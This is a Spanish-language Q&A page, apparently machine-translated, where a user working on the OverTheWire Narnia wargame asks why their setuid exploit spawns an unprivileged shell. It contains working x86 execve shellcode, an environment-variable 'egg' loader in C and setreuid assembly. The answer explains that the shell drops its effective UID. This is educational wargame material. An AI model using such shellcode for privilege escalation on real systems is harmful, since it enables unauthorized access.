¿Por qué no funciona el bit setuid cuando ejecuto este binario?

2

Actualmente estoy atravesando los desafíos de Narnia en overthewire.org. Para el desafío 1 - > 2, me encuentro con un problema que parece que no puedo solucionar. Básicamente, existe un programa en C llamado narnia1 que tiene establecido el bit setuid. Este es el código para ello.

int main(){
  int (*ret)();

  if(getenv("EGG")==NULL){    
      printf("Give me something to execute at the env-variable EGG\n");
      exit(1);
  }

  printf("Trying to execute EGG!\n");
  ret = getenv("EGG");
  ret();

  return 0;
}

El setuid debería darme permisos narnia2 cuando se ejecute, así que estoy tratando de generar una shell con narnia2 privs para leer el archivo de contraseña / etc / narnia_pass / narnia2. Probé dos métodos diferentes, pero ambos generaron una concha como narnia1. El primer método que utilicé fue intentar imprimir un código de shell con python.

export EGG=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"')

Intenté usar un código de shell más simple que no eliminó ningún carácter incorrecto, pero tampoco funcionó. Acabo de recibir una cáscara de narnia1. El segundo método que utilicé fue crear un programa en C para establecer la variable env con el código del shell.

#define NOP 0x90

char shellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

int main(void)
{
       char shell[512];

        puts("Eggshell loaded into environment.\n");
        memset(shell,NOP,512);
        memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
        setenv("EGG", shell, 1);
        putenv(shell);
        system("bash");
        return 0;
}

Ambos métodos eran idénticos a los métodos que encontré en todos los tutoriales de narnia en línea, pero no puedo hacer que funcionen correctamente. Intenté ejecutar mi programa eggcode.c en el directorio narnia en lugar de tmp, pero tampoco funcionó. También intenté usar shellcode derivado del siguiente lenguaje ensamblador:

   xor eax, eax
   mov al, 70              ;setreuid is syscall 70
   xor ebx, ebx
   xor ecx, ecx
   int 0x80

   jmp short ender

   starter:

   pop ebx                 ;get the address of the string
   xor eax, eax

   mov [ebx+7 ], al        ;put a NULL where the N is in the string
   mov [ebx+8 ], ebx       ;put the address of the string to wherethe
                           ;AAAA is
   mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
   mov al, 11              ;execve is syscall 11
   lea ecx, [ebx+8]        ;load the address of where the AAAA was
   lea edx, [ebx+12]       ;load the address of the NULLS
   int 0x80                ;call the kernel, WE HAVE A SHELL!

   ender:
   call starter
   db '/bin/shNAAAABBBB'

Una vez más, esto solo generó una cáscara de narnia1. El código está generando un shell, por lo que me hace pensar que el problema no está relacionado con el shellcode. Sin embargo, no estoy seguro de qué más puedo hacer. Cualquier ayuda sería realmente apreciada.

    
pregunta Joel B. 09.04.2018 - 00:30
fuente

1 respuesta

1

Creo que está en el camino correcto con el ejemplo de código de ensamblaje que dio, y en particular, la parte que hace que el sistema llame a setreuid. Sin embargo, estás intentando establecer las ID de usuario reales y efectivas en 0. Según la página de manual, eso no va a funcionar.

  

Los usuarios sin privilegios solo pueden establecer la ID de usuario real en la ID de usuario real o la ID de usuario efectiva.

Fuente: enlace

En narnia0.c, puedes ver que hay una llamada a setreuid(geteuid(),geteuid()); antes de la llamada system("/bin/sh") . Por lo tanto, creo que necesita ajustar la llamada de su sistema para configurar revertir en ensamblaje a algo similar.

Encontré un escrito antiguo para narnia0 que incluye El código fuente de narnia0.c tal como era en el momento de la redacción, y no incluye esa llamada setreuid . Esto tiene sentido, ya que los viejos escritos de narnia1 tampoco tenían que incluir una llamada a setreuid en el código de shell. Algo debe haber cambiado, ya sea en la forma en que se configura el sistema o en la forma en que se maneja la identificación de usuario efectiva cuando se genera un shell.

Ahora, shellcode que ejecuta algún otro comando (por ejemplo, cat) directamente en lugar de tratar de generar un shell realmente funciona (puede acceder a los archivos narnia2) sin una llamada previa a setreuid, por lo que parece que todo lo que se modifique solo tiene un impacto en lanzando un shell. Tal vez el shell mismo cambió, de modo que ahora restablece la identificación de usuario efectiva a la identificación de usuario real en el inicio, pero estoy adivinando en este punto (aunque eso explicaría todo lo anterior).

    
respondido por el Alex Schimp 03.06.2018 - 00:30
fuente

Lea otras preguntas en las etiquetas